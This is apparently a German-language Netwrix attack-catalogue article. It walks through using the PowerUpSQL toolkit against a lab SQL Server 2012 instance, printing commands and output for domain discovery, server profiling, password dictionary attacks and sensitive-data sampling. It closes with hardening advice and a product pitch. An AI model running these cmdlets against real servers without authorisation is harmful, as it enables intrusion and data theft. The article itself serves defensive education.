Magic Quadrant™ für Privileged Access Management 2025: Netwrix zum vierten Jahr in Folge anerkannt. Laden Sie den Bericht herunter.

Plattform
Glossar zur cybersicherheitAngriffskatalog
Kompromittierung von SQL Server mit PowerUpSQL

Kompromittierung von SQL Server mit PowerUpSQL

Wenn Sie ein Toolkit suchen, um Microsoft SQL Server von Anfang bis Ende zu beherrschen, benötigen Sie PowerUpSQL. Implementiert in PowerShell und so umfassend wie möglich, hat PowerUpSQL Werkzeuge, um nahezu jedes SQL-System zu entdecken, zu kompromittieren und zu übernehmen. Es ist die gesamte Angriffskette in einem Werkzeug. Dieser Artikel beschreibt, wie man die kritischen Angriffsschritte mit PowerUpSQL durchführt.

Ausgewählte verwandte Inhalte:

Beachten Sie, dass wir sehr unterschiedliche Ergebnisse mit dem System hatten, das wir benutzten, einer sehr einfachen Version von MS SQL 2012. Wir werden sicherstellen, dass wir hervorheben, wo unsere Ergebnisse mit und ohne Systemadministratorrechte variierten. Wenn Sie Tipps benötigen, wie Sie Systemadministratorrechte erlangen können, sehen Sie sich unseren Katalog von Techniken für den Angriff auf die Kerninfrastruktur von AD und unsere Beiträge über AD-Dienstkontenangriffes, Angriffe, die fehlkonfigurierte Berechtigungen ausnutzen und unsere Serie über Mimikatz-Angriffe.

Entdeckung

      To find all the SQL servers in a domain, you can use the Get-SQLInstanceDomain cmdlet:

PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose

VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...

VERBOSE: Parsing SQL Server instances from SPNs...

VERBOSE: 2 instances were found.

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com,1433

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com:1433

LastLogon : 1/9/2018 7:10 AM

Description :

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com

LastLogon : 1/9/2018 7:10 AM
      

Beschreibung:

Es gibt auch Get-SQLInstanceLocal, welches die gleiche Art von Entdeckung durchführt, jedoch nur auf der lokalen Instanz. Die Domain-Version ist auffälliger, aber wenn Sie nur einen Ausgangspunkt für Angriffe im Netzwerk haben, wird sie das tun, was Sie benötigen. Wenn Sie jedoch einen viel größeren Teil des Netzwerks besitzen und weniger Aufmerksamkeit erregen möchten, wird das Ausführen der lokalen Version auf jedem System den Trick tun. In diesem Fall konnten wir ähnliche Ergebnisse erzielen, als wir ein normaler Benutzer oder ein Domain-Admin waren.

Zielauswahl

Sobald Sie einige MS SQL-Systeme als Ziel ausgewählt haben — oder wenn Sie viele haben und versuchen herauszufinden, welche die besten Ziele sind — möchten Sie vielleicht mehr über jedes einzelne erfahren. Get?SQLServerInfo wird Ihnen eine Übersicht nützlicher Informationen über Ihr potentielles Ziel geben. Beachten Sie, dass wir anscheinend Adminrechte benötigen, um gute Ergebnisse zu erzielen.

      PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo

ComputerName : APP02

Instance : APP02

DomainName : SBCLOUDLAB

ServiceProcessID : 4980

ServiceName : MSSQLSERVER

ServiceAccount : NT ServiceMSSQLSERVER

AuthenticationMode : Windows and SQL Server Authentication

Clustered : No

SQLServerVersionNumber : 11.0.2100.60

SQLServerMajorVersion : 2012

SQLServerEdition : Standard Edition (64-bit)

SQLServerServicePack : RTM

OSArchitecture : X64

OsMachineType : ServerNT

OSVersionName : Windows Server 2012 R2 Standard

OsVersionNumber : 6.2

Currentlogin : SBCLOUDLABjonathan

IsSysadmin : Yes

ActiveSessions : 1
      

Dieses Beispiel demonstriert eine der besten Funktionen von PowerUpSQL: Unterstützung für Pipelining. Wie Sie sehen können, leiten wir die Ergebnisse von Get-SQLInstanceLocal in Get-SQLServerInfo weiter, sodass wir mit einem Befehl Ergebnisse für alle SQL-Instanzen auf dem Server erhalten können. Allgemeiner gesagt, können Sie diese Funktion nutzen, um einfach Skripte für das Knacken zu erstellen, die komplizierte Operationen schnell durchführen.

Aufspüren von Exploits und sensiblen Daten

Mit dem, was wir von Get-SQLServerInfo lernen, könnten wir zu den Standardbibliotheken für Bedrohungen und Schwachstellen gehen und etwas zum Ausnutzen dieses Systems herausholen. Aber das ist nicht nötig – PowerUpSQL hat noch einen weiteren starken Trick parat. Das Invoke-SQLAudit -Cmdlet erledigt buchstäblich die gesamte Knackarbeit für Sie. Es überprüft so ziemlich jede Standardmethode, um in eine Datenbank einzudringen, sensible Informationen zu finden und sie in eine Form zu extrahieren, die Sie mitnehmen können.

Wenn Sie es aufrufen, werden Sie zunächst einen Schwall von Ergebnissen wie diesen sehen:

      PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: LOADING VULNERABILITY CHECKS.

VERBOSE: RUNNING VULNERABILITY CHECKS.

VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : No named instance found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com - Getting supplied login...

VERBOSE: APP02.sbcloudlab.com - Getting list of logins...

VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =

##MS_PolicyEventProcessingLogin##

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =

##MS_PolicyTsqlExecutionLogin##

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...

<snip>
      

Aber das ist nur der Anfang von Invoke-SQLAudit. Nachdem es alle Berechtigungsprüfungen durchgeführt hat, sucht es nach spezifischen, bekannten Schwachstellen und berichtet einzeln über die Ergebnisse:

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can

lead to unauthorized access to database resources.

Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar

to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : There is not exploit available at this time.

Details : The database master was found configured with ownership chaining enabled.

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can

lead to unauthorized access to database resources.

Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar

to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : There is not exploit available at this time.

Details : The database tempdb was found configured with ownership chaining enabled.

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

Das Durchlesen der Ergebnisse dieses Cmdlets, unabhängig davon, wie verwundbar Ihr Ziel gewesen sein mag, ist wie ein Meisterkurs in SQL Server Exploits. Darüber hinaus haben die Autoren das Toolkit für Erweiterungen offen gelassen, da neue Schwachstellen und Exploits gefunden werden. Daher sollten wir erwarten, dass diese Liste im Laufe der Zeit nur noch wächst.

Und das ist noch nicht alles. Sobald es mit den Schwachstellen fertig ist, versucht es, Daten zu finden, die Sie möglicherweise stehlen möchten:

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : Columns were found in non default databases that may contain sensitive information.

Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : Data sample from [REDACTED] : "[REDACTED]".

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : Columns were found in non default databases that may contain sensitive information.

Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : Data sample from [REDACTED] : "[REDACTED]".

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

Diese Ergebnisse (leicht redigiert aus offensichtlichen Gründen) waren nur zwei von vielen Dutzenden, die in unserem Ziel gefunden wurden. Die Autoren nutzen sogar ihre eigenen Produkte, während sie dies tun. Diese Ergebnisse wurden mit dem Cmdlet „Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit“ gefunden, wie in den Ergebnissen angegeben.

Privilege Escalation

Eine der Enttäuschungen beim Spielen mit PowerUpSQL war, dass das sehr mächtige Invoke-SQLEscalatePriv für uns nie funktionierte. Wir haben verschiedene Benutzer, Hosts, Ausführungsarten (lokal und remote) und Arten von Rechten ausprobiert, aber es würde den Benutzer nie eskalieren. Der Grund scheint die Standardeinstellungen in MS SQL 2012 Enterprise Edition zu sein. Hier ist, was wir sahen, als wir als Nicht-Admin-Benutzer ausgeführt haben:

      PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s

bcloudlab.com"

PS C:PowerUpSQL-master>

When we run as admin, we get these correct but unexciting results:

PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...

VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)

PS C:PowerUpSQL-master>
      

Online liest man, dass dieses Cmdlet für viele andere zu funktionieren scheint.

Weitere Funktionalitäten

Man kann sich leicht vorstellen, dieses Tool zu nutzen, um einen Überblick zu bekommen, worauf man abzielen sollte, und sich dann darauf zu konzentrieren. Wir würden ein Skript erstellen, das großzügig die Möglichkeiten der Weiterleitung nutzt, um herauszufinden, wo wir die meisten Rechte haben, und uns dann auf sensible Daten in jedem dieser Orte konzentrieren.

Wir denken immer in Begriffen der Exfiltration, aber vielleicht ist Ihr Ziel die Systemübernahme? PowerUpSQL bietet auch dafür Wege, aber wir werden uns im nächsten Beitrag anschauen, wie das geht. Tatsächlich gibt es in PowerUpSQL so viel, dass wir noch viel länger darüber sprechen könnten. Die Autoren haben jedoch bereits eine gute Arbeit geleistet, ihr Werkzeug zu beschreiben, also werden wir hier aufhören.

Abwehr gegen PowerUpSQL

Nun wenden wir uns dem zu, was Sie tun können, um sich gegen PowerUpSQL zu verteidigen. Die schlechte Nachricht für unseren Spaß war eine gute Nachricht für unsere Daten: Viele der Dinge in PowerUpSQL, die anscheinend Admin-Rechte benötigen, werden durch die standardmäßige Sicherheitslage von SQL 2012 Enterprise Edition abgedeckt. Allerdings sind Admin-Rechte in den meisten Unternehmen heutzutage so leicht zu knacken, dass dies wie eine kleine Hürde für den Erfolg erscheint.

Dennoch gibt es einige bewährte Schritte, die Sie unternehmen können, um Ihre Organisation zu schützen:

  • Setzen Sie ein Modell mit minimalen Rechten für SQL Server durch. Müssen die lokalen und Domänenadministratoren wirklich auch SQL-Datenbank- und Systemadministratoren sein? Erstellen Sie eine klare, schriftliche Richtlinie, die erläutert, warum und wann dies erforderlich ist. Das Trennen dieser administrativen Funktionen verhindert, dass ein Kompromiss des einen zu einem Kompromiss des anderen führt.
  • Untersuchen Sie die Sicherheitsauswirkungen von Änderungen an den SQL-Systemeinstellungen. Anwendungshersteller fordern oft Änderungen an Sicherheitseinstellungen, nur um sich selbst einige Schritte zu ersparen – und diese Schritte können den Unterschied zwischen Sicherheit und Kompromittierung ausmachen. Eine Möglichkeit, dies herauszufinden, ist die Durchführung eines PowerUpSQL audit vor und nach solchen Änderungen an Ihren Testsystemen und vergleichen Sie die Ergebnisse.
  • Stellen Sie sicher, dass alle Passwörter und sensible Daten maskiert, gehasht oder verschlüsselt werden. Wenn die Bösewichte hinter den Daten her sind, ist dies Ihre beste Möglichkeit, sie daran zu hindern, sie zu bekommen. Systeme werden immer knackbar sein, aber eine ordentliche Verschlüsselung ist eine Mauer für alle bis auf die raffiniertesten Gegner. Wenn solch ein Gegner hinter Ihren Daten her ist, dann haben Sie größere Sorgen.
  • Vermeiden Sie nach Möglichkeit riskante Konfigurationen wie die Verkettung von Datenbankbesitzern.Wie bei Änderungen an Einstellungen werden datenbankebene Funktionen wie diese oft nur verwendet, um Entwicklern Zeit zu sparen. Stellen Sie sicher, dass zumindest eine Risikoabwägung erfolgt, wenn diese Konfigurationen in Betracht gezogen werden. Oft ist der schwierigste Teil herauszufinden, wo und wann diese Gespräche stattfinden und sie zu beeinflussen.
  • Stellen Sie sicher, dass Ihre Systeme nach einem Zeitplan gepatcht werden, der sie so aktuell wie möglich hält. Dies ist vielleicht der am meisten strapazierte Rat in der Sicherheit, aber er ist wahr. Viele der hier getesteten Schwachstellen wären durch ordnungsgemäßes Patchen behoben worden. Patches lösen nicht alle Ihre Sicherheitsprobleme, aber sie verhindern dieses große Loch im Magen, wenn etwas schief geht und Sie wissen, dass es möglicherweise (oder absolut) an einem fehlenden Patch lag.

Wie Netwrix helfen kann

Datenbanken enthalten oft hochsensible Informationen, was sie zu einem Hauptziel für Angreifer macht. Für eine starke Sicherheit benötigen Datenbankadministratoren Einblick in ihren gesamten SQL-Fußabdruck, sowohl in Rechenzentren vor Ort als auch in der Cloud. Netwrix StealthAUDIT ermittelt automatisch, wo SQL-Datenbanken existieren, wer Zugriff darauf hat, wie dieser Zugriff erlangt wurde, wer oder was seine Zugriffsrechte nutzt, wo sensible Informationen gespeichert sind und wie jede Datenbank konfiguriert wurde.

Teilen auf

Zugehörige Cybersecurity-Angriffe anzeigen

Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien

AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien

AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien

Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien

DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security

Pass-the-Hash-Angriff

Verständnis von Golden Ticket-Angriffen

Angriffe auf Group Managed Service Accounts

DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien

ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen

NTDS.dit-Passwortextraktionsangriff

Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien

Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien

Password-Spraying-Angriff

Angriff zur Extraktion von Klartext-Passwörtern

Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung

Ransomware-Angriffe auf Active Directory

Active Directory mit dem Skeleton Key-Angriff entsperren

Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen

Man-in-the-Middle (MITM)-Angriffe: Was sie sind & Wie man sie verhindert

Silver Ticket Attack

4 Angriffe auf Dienstkonten und wie man sich dagegen schützt

Warum ist PowerShell so beliebt bei Angreifern?

Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen

Was ist Credential Stuffing?

Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen

Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)

Umgehen der MFA mit dem Pass-the-Cookie-Angriff

Golden SAML-Angriff